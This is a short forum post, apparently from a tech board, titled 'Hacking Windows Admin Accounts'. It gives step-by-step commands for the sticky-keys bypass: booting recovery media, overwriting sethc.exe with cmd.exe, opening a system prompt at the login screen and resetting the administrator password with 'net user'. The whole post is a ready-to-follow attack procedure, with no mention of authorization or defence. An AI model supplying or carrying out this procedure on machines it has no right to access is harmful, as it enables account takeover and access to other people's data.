Hacking Windows Admin Accounts

Recommended Posts

NOTE:  The following allows you to set a new password for the admin account and log into that machine - this is for WINDOWS USERS - Linux instructions to follow next week

OK - if you are a windows user, all you need is a recovery CD/DVD.


Step 1)  Place recovery DVD in drive and reboot making sure to boot off DVD (or CD or USB)

Step 2)  Click repair your computer at bottom left

Step 3)  Keep following steps until you see the ability to access the command prompt - click that

Step 4)  Enter the following copy c:\windows\system32\sethc.exe c:\ (this backs up the set hot/sticky keys program)

Step 5)  Enter the following copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe  When it asks to overwrite, say Y for test (this replaces the sticky command with a DOS prompt)

Step 6)  Reboot

Step 7)  At login screen hit the Shift key five or six times in a row to activate the hot/sticky keys.  However, a command prompt will open up instead

Step 8)  Now, at the command prompt, enter net user administrator yournewpassword  (yournewpassword is the new password you choose for the admin acount)  You can now login as admin with the password you just provided.  

Step 9)  Don't forget to go back to a command prompt and enter  copy c:\sethc.exe c:\windows\system32 and select Y to overwrite IF you use the sticky keys

That is all there is!
